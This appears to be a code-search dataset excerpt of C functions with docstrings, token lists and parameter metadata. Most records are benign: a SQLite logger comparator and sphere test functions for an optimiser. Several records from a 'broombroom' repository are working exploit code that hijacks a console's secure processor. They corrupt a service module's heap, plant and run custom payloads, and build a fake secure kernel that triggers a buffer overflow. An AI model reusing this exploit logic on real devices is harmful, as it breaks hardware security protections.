{ "returns": [], "raises": [], "params": [ { "identifier": "val", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "len", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "is_big_endian", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8632b774c5fd7e635e3ef750eaea9c93bbedca84
siara-cc/sqlite_micro_logger_arduino
src/ulog_sqlite.c
[ "Apache-2.0" ]
C
compare_values
int
int compare_values(byte *val_at, uint32_t u32_at, int val_type, void *val, uint16_t len, byte is_rowid) { if (is_rowid) return (u32_at > *((uint32_t *) val) ? 1 : u32_at < *((uint32_t *) val) ? -1 : 0); switch (val_type) { case DBLOG_TYPE_INT: { int64_t ival_at = convert_to_i64(val_at, u32_at, 1); int64_t ival = convert_to_i64(val, len, 0); return ival_at > ival ? 1 : (ival_at < ival ? -1 : 0); } case DBLOG_TYPE_REAL: if ((len != 4 && len != 8) || u32_at != 7) return DBLOG_RES_TYPE_MISMATCH; int64_t bytes64, bytes64_at; bytes64_at = read_uint64(val_at); if (len == 4) bytes64 = float_to_double(val); else bytes64 = *((int64_t *) val); return (bytes64_at > bytes64 ? 1 : bytes64_at < bytes64 ? -1 : 0); case DBLOG_TYPE_BLOB: case DBLOG_TYPE_TEXT: { uint32_t len_at = dblog_derive_data_len(u32_at); int res = compare_bin(val_at, len_at, val, len); return (res > 0 ? 1 : (res < 0 ? -1 : 0)); } } return 1; }
// Compare values for binary search and return 1, -1 or 0
Compare values for binary search and return 1, -1 or 0
[ "Compare", "values", "for", "binary", "search", "and", "return", "1", "-", "1", "or", "0" ]
int compare_values(byte *val_at, uint32_t u32_at, int val_type, void *val, uint16_t len, byte is_rowid) { if (is_rowid) return (u32_at > *((uint32_t *) val) ? 1 : u32_at < *((uint32_t *) val) ? -1 : 0); switch (val_type) { case DBLOG_TYPE_INT: { int64_t ival_at = convert_to_i64(val_at, u32_at, 1); int64_t ival = convert_to_i64(val, len, 0); return ival_at > ival ? 1 : (ival_at < ival ? -1 : 0); } case DBLOG_TYPE_REAL: if ((len != 4 && len != 8) || u32_at != 7) return DBLOG_RES_TYPE_MISMATCH; int64_t bytes64, bytes64_at; bytes64_at = read_uint64(val_at); if (len == 4) bytes64 = float_to_double(val); else bytes64 = *((int64_t *) val); return (bytes64_at > bytes64 ? 1 : bytes64_at < bytes64 ? -1 : 0); case DBLOG_TYPE_BLOB: case DBLOG_TYPE_TEXT: { uint32_t len_at = dblog_derive_data_len(u32_at); int res = compare_bin(val_at, len_at, val, len); return (res > 0 ? 1 : (res < 0 ? -1 : 0)); } } return 1; }
[ "int", "compare_values", "(", "byte", "*", "val_at", ",", "uint32_t", "u32_at", ",", "int", "val_type", ",", "void", "*", "val", ",", "uint16_t", "len", ",", "byte", "is_rowid", ")", "{", "if", "(", "is_rowid", ")", "return", "(", "u32_at", ">", "*", "(", "(", "uint32_t", "*", ")", "val", ")", "?", "1", ":", "u32_at", "<", "*", "(", "(", "uint32_t", "*", ")", "val", ")", "?", "-1", ":", "0", ")", ";", "switch", "(", "val_type", ")", "{", "case", "DBLOG_TYPE_INT", ":", "{", "int64_t", "ival_at", "=", "convert_to_i64", "(", "val_at", ",", "u32_at", ",", "1", ")", ";", "int64_t", "ival", "=", "convert_to_i64", "(", "val", ",", "len", ",", "0", ")", ";", "return", "ival_at", ">", "ival", "?", "1", ":", "(", "ival_at", "<", "ival", "?", "-1", ":", "0", ")", ";", "}", "case", "DBLOG_TYPE_REAL", ":", "if", "(", "(", "len", "!=", "4", "&&", "len", "!=", "8", ")", "||", "u32_at", "!=", "7", ")", "return", "DBLOG_RES_TYPE_MISMATCH", ";", "int64_t", "bytes64", ",", "bytes64_at", ";", "bytes64_at", "=", "read_uint64", "(", "val_at", ")", ";", "if", "(", "len", "==", "4", ")", "bytes64", "=", "float_to_double", "(", "val", ")", ";", "else", "bytes64", "=", "*", "(", "(", "int64_t", "*", ")", "val", ")", ";", "return", "(", "bytes64_at", ">", "bytes64", "?", "1", ":", "bytes64_at", "<", "bytes64", "?", "-1", ":", "0", ")", ";", "case", "DBLOG_TYPE_BLOB", ":", "case", "DBLOG_TYPE_TEXT", ":", "{", "uint32_t", "len_at", "=", "dblog_derive_data_len", "(", "u32_at", ")", ";", "int", "res", "=", "compare_bin", "(", "val_at", ",", "len_at", ",", "val", ",", "len", ")", ";", "return", "(", "res", ">", "0", "?", "1", ":", "(", "res", "<", "0", "?", "-1", ":", "0", ")", ")", ";", "}", "}", "return", "1", ";", "}" ]
Compare values for binary search and return 1, -1 or 0
[ "Compare", "values", "for", "binary", "search", "and", "return", "1", "-", "1", "or", "0" ]
[]
[ { "param": "val_at", "type": "byte" }, { "param": "u32_at", "type": "uint32_t" }, { "param": "val_type", "type": "int" }, { "param": "val", "type": "void" }, { "param": "len", "type": "uint16_t" }, { "param": "is_rowid", "type": "byte" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "val_at", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "u32_at", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "val_type", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "val", "type": "void", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "len", "type": "uint16_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "is_rowid", "type": "byte", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
04730b3e2ff18986644bd589c51a20afaddddef3
afbarnard/go-lbfgsb
prototype/mainc.c
[ "BSD-2-Clause" ]
C
objfunc_sphere
int
int objfunc_sphere(int dim, double point[], double *value, void *callback_data) { // Calculate the function value double work[dim]; for (int i = 0; i < dim; i++) { work[i] = point[i] * point[i]; } *value = 0.0; for (int i = 0; i < dim; i++) { *value += work[i]; } // Do something with the callback data struct cbdata *cbdata = (struct cbdata *) callback_data; if (cbdata->data != 987) return cbdata->data; // Return success return 0; }
// Computes the sphere (multi-dimensional parabola) function
Computes the sphere (multi-dimensional parabola) function
[ "Computes", "the", "sphere", "(", "multi", "-", "dimensional", "parabola", ")", "function" ]
int objfunc_sphere(int dim, double point[], double *value, void *callback_data) { double work[dim]; for (int i = 0; i < dim; i++) { work[i] = point[i] * point[i]; } *value = 0.0; for (int i = 0; i < dim; i++) { *value += work[i]; } struct cbdata *cbdata = (struct cbdata *) callback_data; if (cbdata->data != 987) return cbdata->data; return 0; }
[ "int", "objfunc_sphere", "(", "int", "dim", ",", "double", "point", "[", "]", ",", "double", "*", "value", ",", "void", "*", "callback_data", ")", "{", "double", "work", "[", "dim", "]", ";", "for", "(", "int", "i", "=", "0", ";", "i", "<", "dim", ";", "i", "++", ")", "{", "work", "[", "i", "]", "=", "point", "[", "i", "]", "*", "point", "[", "i", "]", ";", "}", "*", "value", "=", "0.0", ";", "for", "(", "int", "i", "=", "0", ";", "i", "<", "dim", ";", "i", "++", ")", "{", "*", "value", "+=", "work", "[", "i", "]", ";", "}", "struct", "cbdata", "*", "cbdata", "=", "(", "struct", "cbdata", "*", ")", "callback_data", ";", "if", "(", "cbdata", "->", "data", "!=", "987", ")", "return", "cbdata", "->", "data", ";", "return", "0", ";", "}" ]
Computes the sphere (multi-dimensional parabola) function
[ "Computes", "the", "sphere", "(", "multi", "-", "dimensional", "parabola", ")", "function" ]
[ "// Calculate the function value", "// Do something with the callback data", "// Return success" ]
[ { "param": "dim", "type": "int" }, { "param": "point", "type": "double" }, { "param": "value", "type": "double" }, { "param": "callback_data", "type": "void" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "dim", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "point", "type": "double", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "value", "type": "double", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "callback_data", "type": "void", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
04730b3e2ff18986644bd589c51a20afaddddef3
afbarnard/go-lbfgsb
prototype/mainc.c
[ "BSD-2-Clause" ]
C
objgrad_sphere
int
int objgrad_sphere(int dim, double point[], double grad[], void *callback_data) { // Calculate the gradient value for (int i = 0; i < dim; i++) { grad[i] = 2.0 * point[i]; } // Do something with the callback data struct cbdata *cbdata = (struct cbdata *) callback_data; if (cbdata->data != 987) return cbdata->data; // Return success return 0; }
// Computes the gradient of the sphere function
Computes the gradient of the sphere function
[ "Computes", "the", "gradient", "of", "the", "sphere", "function" ]
int objgrad_sphere(int dim, double point[], double grad[], void *callback_data) { for (int i = 0; i < dim; i++) { grad[i] = 2.0 * point[i]; } struct cbdata *cbdata = (struct cbdata *) callback_data; if (cbdata->data != 987) return cbdata->data; return 0; }
[ "int", "objgrad_sphere", "(", "int", "dim", ",", "double", "point", "[", "]", ",", "double", "grad", "[", "]", ",", "void", "*", "callback_data", ")", "{", "for", "(", "int", "i", "=", "0", ";", "i", "<", "dim", ";", "i", "++", ")", "{", "grad", "[", "i", "]", "=", "2.0", "*", "point", "[", "i", "]", ";", "}", "struct", "cbdata", "*", "cbdata", "=", "(", "struct", "cbdata", "*", ")", "callback_data", ";", "if", "(", "cbdata", "->", "data", "!=", "987", ")", "return", "cbdata", "->", "data", ";", "return", "0", ";", "}" ]
Computes the gradient of the sphere function
[ "Computes", "the", "gradient", "of", "the", "sphere", "function" ]
[ "// Calculate the gradient value", "// Do something with the callback data", "// Return success" ]
[ { "param": "dim", "type": "int" }, { "param": "point", "type": "double" }, { "param": "grad", "type": "double" }, { "param": "callback_data", "type": "void" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "dim", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "point", "type": "double", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "grad", "type": "double", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "callback_data", "type": "void", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
b6c774bbf65555e5ec3e5cdf72158cc97a3b42f9
SKGleba/broombroom
cmep.c
[ "MIT" ]
C
cmep_init
int
static int cmep_init(int a0, int a1) { k_root* kroot = &g_kroot; // get funcs int (*start_sm)(int priority, const char* sm, int unk2, int unk3, int unk4, int unk5, SceSblSmCommContext130 * commctx, int* smctx) = KFUN("SceSblSsSmComm", 0x6dc | 1); int (*call_sm)(int smctx, int cmd, int* smret, void* argva, uint32_t argsz) = KFUN("SceSblSsSmComm", 0x190 | 1); int (*stop_sm)(int smctx, uint32_t * ret8) = KFUN("SceSblSsSmComm", 0x7e4 | 1); if (!kroot || !start_sm || !call_sm || !stop_sm) return -1; kroot->printf("[SNS][FUD] hello from cmep_install_spl, loading update_sm\n"); // laod update_service_sm int ctx = -1; SceSblSmCommContext130 smcomm_ctx; kroot->memset(&smcomm_ctx, 0, sizeof(smcomm_ctx)); kroot->memcpy(smcomm_ctx.data0, ctx_130_data, 0x90); smcomm_ctx.pathId = 2; smcomm_ctx.self_type = (smcomm_ctx.self_type & 0xFFFFFFF0) | 2; int ret = start_sm(0, "os0:sm/update_service_sm.self", 0, 0, 0, 0, &smcomm_ctx, &ctx); if (ret < 0) return ret; // convert service 0xd0002 kroot->printf("[SNS][FUD] converting 0xd0002\n"); kroot->memset(kroot->pac_dram, 0, 0x1000); cmd_0x50002_t* cargs = kroot->pac_dram; cargs->use_lv2_mode_0 = cargs->use_lv2_mode_1 = 0; cargs->list_count = 3; cargs->total_count = 1; cargs->list.lv1[0].addr = cargs->list.lv1[1].addr = (void*)0x50000000; cargs->list.lv1[0].length = cargs->list.lv1[1].length = 0x10; cargs->list.lv1[2].addr = 0; cargs->list.lv1[2].length = 0x0080bd40 - offsetof(heap_hdr_t, next); int sm_ret = -1; ret = call_sm(ctx, 0x50002, &sm_ret, cargs, sizeof(cmd_0x50002_t)); kroot->printf("[SNS][FUD] corrupt32: 0x%X | 0x%X\n", ret, sm_ret); // plant stage2 paddr in sm buffer kroot->printf("[SNS][FUD] planting stage2 paddr\n"); sm_ret = -1; uint32_t jmpbuf[16]; jmpbuf[0] = 1; jmpbuf[1] = 1; jmpbuf[2] = 0x1f850000; jmpbuf[3] = 0x1f850000; jmpbuf[4] = 0x1f850000; ret = call_sm(ctx, 0xd0002, &sm_ret, jmpbuf, 64); kroot->printf("[SNS][FUD] plant: 0x%X | 0x%X\n", ret, sm_ret); // copy stage2 and custom code to 0x1f850000 kroot->printf("[SNS][FUD] copying the custom code\n"); kroot->memset(kroot->venezia_spram, 0, 0x300); kroot->memcpy(kroot->venezia_spram, nmp_stage2, sizeof(nmp_stage2)); kroot->memcpy((kroot->venezia_spram + 0x100), inject_framework_nmp, sizeof(inject_framework_nmp)); kroot->memcpy((kroot->venezia_spram + 0x200), sk_framework_nmp, sizeof(sk_framework_nmp)); // run stage2 kroot->printf("[SNS][FUD] running the custom code\n"); sm_ret = -1; jmpbuf[0] = 5042; ret = call_sm(ctx, 0xd0002, &sm_ret, jmpbuf, 64); kroot->printf("[SNS][FUD] run: 0x%X | 0x%X\n", ret, sm_ret); if (ret) return -2; // unload the sm kroot->printf("[SNS][FUD] all done, stopping sm\n"); jmpbuf[0] = 0; jmpbuf[1] = 0; return stop_sm(ctx, jmpbuf); }
// hack cmep and install a code-exec framework in secure_kernel
hack cmep and install a code-exec framework in secure_kernel
[ "hack", "cmep", "and", "install", "a", "code", "-", "exec", "framework", "in", "secure_kernel" ]
static int cmep_init(int a0, int a1) { k_root* kroot = &g_kroot; int (*start_sm)(int priority, const char* sm, int unk2, int unk3, int unk4, int unk5, SceSblSmCommContext130 * commctx, int* smctx) = KFUN("SceSblSsSmComm", 0x6dc | 1); int (*call_sm)(int smctx, int cmd, int* smret, void* argva, uint32_t argsz) = KFUN("SceSblSsSmComm", 0x190 | 1); int (*stop_sm)(int smctx, uint32_t * ret8) = KFUN("SceSblSsSmComm", 0x7e4 | 1); if (!kroot || !start_sm || !call_sm || !stop_sm) return -1; kroot->printf("[SNS][FUD] hello from cmep_install_spl, loading update_sm\n"); int ctx = -1; SceSblSmCommContext130 smcomm_ctx; kroot->memset(&smcomm_ctx, 0, sizeof(smcomm_ctx)); kroot->memcpy(smcomm_ctx.data0, ctx_130_data, 0x90); smcomm_ctx.pathId = 2; smcomm_ctx.self_type = (smcomm_ctx.self_type & 0xFFFFFFF0) | 2; int ret = start_sm(0, "os0:sm/update_service_sm.self", 0, 0, 0, 0, &smcomm_ctx, &ctx); if (ret < 0) return ret; kroot->printf("[SNS][FUD] converting 0xd0002\n"); kroot->memset(kroot->pac_dram, 0, 0x1000); cmd_0x50002_t* cargs = kroot->pac_dram; cargs->use_lv2_mode_0 = cargs->use_lv2_mode_1 = 0; cargs->list_count = 3; cargs->total_count = 1; cargs->list.lv1[0].addr = cargs->list.lv1[1].addr = (void*)0x50000000; cargs->list.lv1[0].length = cargs->list.lv1[1].length = 0x10; cargs->list.lv1[2].addr = 0; cargs->list.lv1[2].length = 0x0080bd40 - offsetof(heap_hdr_t, next); int sm_ret = -1; ret = call_sm(ctx, 0x50002, &sm_ret, cargs, sizeof(cmd_0x50002_t)); kroot->printf("[SNS][FUD] corrupt32: 0x%X | 0x%X\n", ret, sm_ret); kroot->printf("[SNS][FUD] planting stage2 paddr\n"); sm_ret = -1; uint32_t jmpbuf[16]; jmpbuf[0] = 1; jmpbuf[1] = 1; jmpbuf[2] = 0x1f850000; jmpbuf[3] = 0x1f850000; jmpbuf[4] = 0x1f850000; ret = call_sm(ctx, 0xd0002, &sm_ret, jmpbuf, 64); kroot->printf("[SNS][FUD] plant: 0x%X | 0x%X\n", ret, sm_ret); kroot->printf("[SNS][FUD] copying the custom code\n"); kroot->memset(kroot->venezia_spram, 0, 0x300); kroot->memcpy(kroot->venezia_spram, nmp_stage2, sizeof(nmp_stage2)); kroot->memcpy((kroot->venezia_spram + 0x100), inject_framework_nmp, sizeof(inject_framework_nmp)); kroot->memcpy((kroot->venezia_spram + 0x200), sk_framework_nmp, sizeof(sk_framework_nmp)); kroot->printf("[SNS][FUD] running the custom code\n"); sm_ret = -1; jmpbuf[0] = 5042; ret = call_sm(ctx, 0xd0002, &sm_ret, jmpbuf, 64); kroot->printf("[SNS][FUD] run: 0x%X | 0x%X\n", ret, sm_ret); if (ret) return -2; kroot->printf("[SNS][FUD] all done, stopping sm\n"); jmpbuf[0] = 0; jmpbuf[1] = 0; return stop_sm(ctx, jmpbuf); }
[ "static", "int", "cmep_init", "(", "int", "a0", ",", "int", "a1", ")", "{", "k_root", "*", "kroot", "=", "&", "g_kroot", ";", "int", "(", "*", "start_sm", ")", "(", "int", "priority", ",", "const", "char", "*", "sm", ",", "int", "unk2", ",", "int", "unk3", ",", "int", "unk4", ",", "int", "unk5", ",", "SceSblSmCommContext130", "*", "commctx", ",", "int", "*", "smctx", ")", "=", "KFUN", "(", "\"", "\"", ",", "0x6dc", "|", "1", ")", ";", "int", "(", "*", "call_sm", ")", "(", "int", "smctx", ",", "int", "cmd", ",", "int", "*", "smret", ",", "void", "*", "argva", ",", "uint32_t", "argsz", ")", "=", "KFUN", "(", "\"", "\"", ",", "0x190", "|", "1", ")", ";", "int", "(", "*", "stop_sm", ")", "(", "int", "smctx", ",", "uint32_t", "*", "ret8", ")", "=", "KFUN", "(", "\"", "\"", ",", "0x7e4", "|", "1", ")", ";", "if", "(", "!", "kroot", "||", "!", "start_sm", "||", "!", "call_sm", "||", "!", "stop_sm", ")", "return", "-1", ";", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ")", ";", "int", "ctx", "=", "-1", ";", "SceSblSmCommContext130", "smcomm_ctx", ";", "kroot", "->", "memset", "(", "&", "smcomm_ctx", ",", "0", ",", "sizeof", "(", "smcomm_ctx", ")", ")", ";", "kroot", "->", "memcpy", "(", "smcomm_ctx", ".", "data0", ",", "ctx_130_data", ",", "0x90", ")", ";", "smcomm_ctx", ".", "pathId", "=", "2", ";", "smcomm_ctx", ".", "self_type", "=", "(", "smcomm_ctx", ".", "self_type", "&", "0xFFFFFFF0", ")", "|", "2", ";", "int", "ret", "=", "start_sm", "(", "0", ",", "\"", "\"", ",", "0", ",", "0", ",", "0", ",", "0", ",", "&", "smcomm_ctx", ",", "&", "ctx", ")", ";", "if", "(", "ret", "<", "0", ")", "return", "ret", ";", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ")", ";", "kroot", "->", "memset", "(", "kroot", "->", "pac_dram", ",", "0", ",", "0x1000", ")", ";", "cmd_0x50002_t", "*", "cargs", "=", "kroot", "->", "pac_dram", ";", "cargs", "->", "use_lv2_mode_0", "=", "cargs", "->", "use_lv2_mode_1", "=", "0", ";", "cargs", "->", "list_count", "=", "3", ";", "cargs", "->", "total_count", "=", "1", ";", "cargs", "->", "list", ".", "lv1", "[", "0", "]", ".", "addr", "=", "cargs", "->", "list", ".", "lv1", "[", "1", "]", ".", "addr", "=", "(", "void", "*", ")", "0x50000000", ";", "cargs", "->", "list", ".", "lv1", "[", "0", "]", ".", "length", "=", "cargs", "->", "list", ".", "lv1", "[", "1", "]", ".", "length", "=", "0x10", ";", "cargs", "->", "list", ".", "lv1", "[", "2", "]", ".", "addr", "=", "0", ";", "cargs", "->", "list", ".", "lv1", "[", "2", "]", ".", "length", "=", "0x0080bd40", "-", "offsetof", "(", "heap_hdr_t", ",", "next", ")", ";", "int", "sm_ret", "=", "-1", ";", "ret", "=", "call_sm", "(", "ctx", ",", "0x50002", ",", "&", "sm_ret", ",", "cargs", ",", "sizeof", "(", "cmd_0x50002_t", ")", ")", ";", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ",", "ret", ",", "sm_ret", ")", ";", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ")", ";", "sm_ret", "=", "-1", ";", "uint32_t", "jmpbuf", "[", "16", "]", ";", "jmpbuf", "[", "0", "]", "=", "1", ";", "jmpbuf", "[", "1", "]", "=", "1", ";", "jmpbuf", "[", "2", "]", "=", "0x1f850000", ";", "jmpbuf", "[", "3", "]", "=", "0x1f850000", ";", "jmpbuf", "[", "4", "]", "=", "0x1f850000", ";", "ret", "=", "call_sm", "(", "ctx", ",", "0xd0002", ",", "&", "sm_ret", ",", "jmpbuf", ",", "64", ")", ";", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ",", "ret", ",", "sm_ret", ")", ";", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ")", ";", "kroot", "->", "memset", "(", "kroot", "->", "venezia_spram", ",", "0", ",", "0x300", ")", ";", "kroot", "->", "memcpy", "(", "kroot", "->", "venezia_spram", ",", "nmp_stage2", ",", "sizeof", "(", "nmp_stage2", ")", ")", ";", "kroot", "->", "memcpy", "(", "(", "kroot", "->", "venezia_spram", "+", "0x100", ")", ",", "inject_framework_nmp", ",", "sizeof", "(", "inject_framework_nmp", ")", ")", ";", "kroot", "->", "memcpy", "(", "(", "kroot", "->", "venezia_spram", "+", "0x200", ")", ",", "sk_framework_nmp", ",", "sizeof", "(", "sk_framework_nmp", ")", ")", ";", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ")", ";", "sm_ret", "=", "-1", ";", "jmpbuf", "[", "0", "]", "=", "5042", ";", "ret", "=", "call_sm", "(", "ctx", ",", "0xd0002", ",", "&", "sm_ret", ",", "jmpbuf", ",", "64", ")", ";", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ",", "ret", ",", "sm_ret", ")", ";", "if", "(", "ret", ")", "return", "-2", ";", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ")", ";", "jmpbuf", "[", "0", "]", "=", "0", ";", "jmpbuf", "[", "1", "]", "=", "0", ";", "return", "stop_sm", "(", "ctx", ",", "jmpbuf", ")", ";", "}" ]
hack cmep and install a code-exec framework in secure_kernel
[ "hack", "cmep", "and", "install", "a", "code", "-", "exec", "framework", "in", "secure_kernel" ]
[ "// get funcs", "// laod update_service_sm", "// convert service 0xd0002", "// plant stage2 paddr in sm buffer", "// copy stage2 and custom code to 0x1f850000", "// run stage2", "// unload the sm" ]
[ { "param": "a0", "type": "int" }, { "param": "a1", "type": "int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "a0", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "a1", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
b6c774bbf65555e5ec3e5cdf72158cc97a3b42f9
SKGleba/broombroom
cmep.c
[ "MIT" ]
C
cmep_run
int
static int cmep_run(k_root* kroot, void* code, uint32_t size, uint32_t arg) { if (!kroot || !code) return -1; kroot->printf("[SNS][FUD] cmep_run_code, preparing commem\n"); fm_nfo* fmnfo = kroot->venezia_spram; kroot->memset(fmnfo, 0, sizeof(fm_nfo)); if (size) { kroot->printf("[SNS][FUD] copying code to venezia spram\n"); kroot->memset(kroot->venezia_spram + 0x20, 0, 0x300); kroot->memcpy(kroot->venezia_spram + 0x20, code, size); fmnfo->codepaddr = 0x1f850020; } else fmnfo->codepaddr = (uint32_t)code; fmnfo->magic = 0x14ff; fmnfo->arg = arg; kroot->printf("[SNS][FUD] running custom cmep code\n"); __asm ("dmb sy"); __asm ("dsb sy"); fmnfo->status = 0x34; int ret = xsmc(0, 0, 0, 0, 0x13c); __asm ("dsb sy"); __asm ("dmb sy"); kroot->printf("[SNS][FUD] smc 0x%X | status 0x%X | resp 0x%X\n", ret, fmnfo->status, fmnfo->resp); return (fmnfo->status == 0x69) ? (int)fmnfo->resp : -2; }
// run custom cmep code using the secure_kernel framework
run custom cmep code using the secure_kernel framework
[ "run", "custom", "cmep", "code", "using", "the", "secure_kernel", "framework" ]
static int cmep_run(k_root* kroot, void* code, uint32_t size, uint32_t arg) { if (!kroot || !code) return -1; kroot->printf("[SNS][FUD] cmep_run_code, preparing commem\n"); fm_nfo* fmnfo = kroot->venezia_spram; kroot->memset(fmnfo, 0, sizeof(fm_nfo)); if (size) { kroot->printf("[SNS][FUD] copying code to venezia spram\n"); kroot->memset(kroot->venezia_spram + 0x20, 0, 0x300); kroot->memcpy(kroot->venezia_spram + 0x20, code, size); fmnfo->codepaddr = 0x1f850020; } else fmnfo->codepaddr = (uint32_t)code; fmnfo->magic = 0x14ff; fmnfo->arg = arg; kroot->printf("[SNS][FUD] running custom cmep code\n"); __asm ("dmb sy"); __asm ("dsb sy"); fmnfo->status = 0x34; int ret = xsmc(0, 0, 0, 0, 0x13c); __asm ("dsb sy"); __asm ("dmb sy"); kroot->printf("[SNS][FUD] smc 0x%X | status 0x%X | resp 0x%X\n", ret, fmnfo->status, fmnfo->resp); return (fmnfo->status == 0x69) ? (int)fmnfo->resp : -2; }
[ "static", "int", "cmep_run", "(", "k_root", "*", "kroot", ",", "void", "*", "code", ",", "uint32_t", "size", ",", "uint32_t", "arg", ")", "{", "if", "(", "!", "kroot", "||", "!", "code", ")", "return", "-1", ";", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ")", ";", "fm_nfo", "*", "fmnfo", "=", "kroot", "->", "venezia_spram", ";", "kroot", "->", "memset", "(", "fmnfo", ",", "0", ",", "sizeof", "(", "fm_nfo", ")", ")", ";", "if", "(", "size", ")", "{", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ")", ";", "kroot", "->", "memset", "(", "kroot", "->", "venezia_spram", "+", "0x20", ",", "0", ",", "0x300", ")", ";", "kroot", "->", "memcpy", "(", "kroot", "->", "venezia_spram", "+", "0x20", ",", "code", ",", "size", ")", ";", "fmnfo", "->", "codepaddr", "=", "0x1f850020", ";", "}", "else", "fmnfo", "->", "codepaddr", "=", "(", "uint32_t", ")", "code", ";", "fmnfo", "->", "magic", "=", "0x14ff", ";", "fmnfo", "->", "arg", "=", "arg", ";", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ")", ";", "__asm", "(", "\"", "\"", ")", ";", "__asm", "(", "\"", "\"", ")", ";", "fmnfo", "->", "status", "=", "0x34", ";", "int", "ret", "=", "xsmc", "(", "0", ",", "0", ",", "0", ",", "0", ",", "0x13c", ")", ";", "__asm", "(", "\"", "\"", ")", ";", "__asm", "(", "\"", "\"", ")", ";", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ",", "ret", ",", "fmnfo", "->", "status", ",", "fmnfo", "->", "resp", ")", ";", "return", "(", "fmnfo", "->", "status", "==", "0x69", ")", "?", "(", "int", ")", "fmnfo", "->", "resp", ":", "-2", ";", "}" ]
run custom cmep code using the secure_kernel framework
[ "run", "custom", "cmep", "code", "using", "the", "secure_kernel", "framework" ]
[]
[ { "param": "kroot", "type": "k_root" }, { "param": "code", "type": "void" }, { "param": "size", "type": "uint32_t" }, { "param": "arg", "type": "uint32_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "kroot", "type": "k_root", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "code", "type": "void", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "size", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "arg", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
b6c774bbf65555e5ec3e5cdf72158cc97a3b42f9
SKGleba/broombroom
cmep.c
[ "MIT" ]
C
brom_init
int
static int brom_init(k_root* kroot) { if (!kroot) return -1; kroot->printf("[SNS][FUD] brom_init, cleaning tachyon eDRAM and pac DRAM\n"); kroot->memset(kroot->tachyon_edram, 0, 0x200000); kroot->memset(kroot->pac_dram, 0, 0x20000); kroot->printf("[SNS][FUD] preparing the fake sk\n"); // legit sk header and the bootrom payloads kroot->memcpy(kroot->pac_dram, secure_kernel_enp, 0x40); kroot->memcpy(kroot->pac_dram + 0x300, brom_stage2, 0x10); kroot->memcpy(kroot->pac_dram + 0x310, brom_framework_nmp, sizeof(brom_framework_nmp)); kroot->memcpy(kroot->pac_dram + 0x3E0, "hellowo from cmep first_loader\n", sizeof("hellowo from cmep first_loader\n")); // buffer overflow *(uint32_t*)(kroot->pac_dram + 4) = 0x2c0; *(uint32_t*)(kroot->pac_dram + 0x10) = -0x2c0; // bra slide-back for (int skoff = 0x400; skoff < (0x20000 - 4); skoff -= -4) { *(uint32_t*)(kroot->pac_dram + skoff) = 0xbffebffe; } // bra brom_payload *(uint16_t*)(kroot->pac_dram + 0x400) = 0xbf00; return 0; }
// construct the fake secure_kernel.enp @ 0x4c000000
construct the fake secure_kernel.enp @ 0x4c000000
[ "construct", "the", "fake", "secure_kernel", ".", "enp", "@", "0x4c000000" ]
